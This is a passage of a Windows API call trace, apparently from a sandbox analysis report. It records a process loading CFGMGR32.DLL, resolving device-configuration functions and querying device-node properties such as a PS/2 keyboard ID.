pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.453] malloc (_Size=0x48) returned 0x196ef0fba40 [0218.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x630f0e9a, dwHighDateTime=0x1d9eb0c)) [0218.454] SetEvent (hEvent=0x248) returned 1 [0218.550] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.550] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.554] malloc (_Size=0x18) returned 0x196ef0d1d00 [0218.554] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xf, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0218.554] malloc (_Size=0x48) returned 0x196ef0fb810 [0218.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x631fc0a3, dwHighDateTime=0x1d9eb0c)) [0218.555] SetEvent (hEvent=0x248) returned 1 [0218.561] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.561] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.566] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0218.566] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xf, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0218.566] malloc (_Size=0x48) returned 0x196ef0fb220 [0218.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6322230d, dwHighDateTime=0x1d9eb0c)) [0218.566] SetEvent (hEvent=0x248) returned 1 [0218.571] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.571] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.575] malloc (_Size=0x18) returned 0x196ef0d1b00 [0218.575] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0218.576] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0218.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6322230d, dwHighDateTime=0x1d9eb0c)) [0218.576] SetEvent (hEvent=0x248) returned 1 [0218.581] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.581] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.585] malloc (_Size=0x18) returned 0x196ef0d1e60 [0218.585] CM_Get_Device_IDA (in: dnDevInst=0x10, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0303\\4&22F5829E&0") returned 0x0 [0218.585] malloc (_Size=0x48) returned 0x196ef0fbae0 [0218.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x63248200, dwHighDateTime=0x1d9eb0c)) [0218.585] SetEvent (hEvent=0x248) returned 1 [0218.589] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.589] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.594] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0218.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0218.594] malloc (_Size=0x5a) returned 0x196ef0d0680 [0218.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608) returned 0x0 [0218.595] free (_Block=0x196ef0d0680) [0218.595] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0218.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63248200, dwHighDateTime=0x1d9eb0c)) [0218.685] SetEvent (hEvent=0x248) returned 1 [0218.688] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0218.688] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0218.688] free (_Block=0x196ef0d1ca0) [0218.689] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0218.689] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0218.689] free (_Block=0x196ef0d1ba0) [0218.689] malloc (_Size=0x18) returned 0x196ef0d1d00 [0218.689] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0218.689] free (_Block=0x196ef0d1d00) [0218.689] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856ae0 [0218.689] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0218.689] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0218.689] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0218.689] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0218.689] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0218.690] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0218.690] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0218.690] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0218.690] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.691] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.691] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.692] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0218.692] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856ae0) returned 1 [0218.692] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.692] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.695] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.696] malloc (_Size=0x18) returned 0x196ef0d1980 [0218.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0218.696] malloc (_Size=0x48) returned 0x196ef0fbe50 [0218.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63353211, dwHighDateTime=0x1d9eb0c)) [0218.697] SetEvent (hEvent=0x248) returned 1 [0218.699] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.699] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.703] malloc (_Size=0x18) returned 0x196ef0d1f20 [0218.703] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.708] malloc (_Size=0x48) returned 0x196ef0fc080 [0218.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6337944f, dwHighDateTime=0x1d9eb0c)) [0218.708] SetEvent (hEvent=0x248) returned 1 [0218.712] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.712] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.714] GetProcAddress (hModule=0x7ffa786c0000, 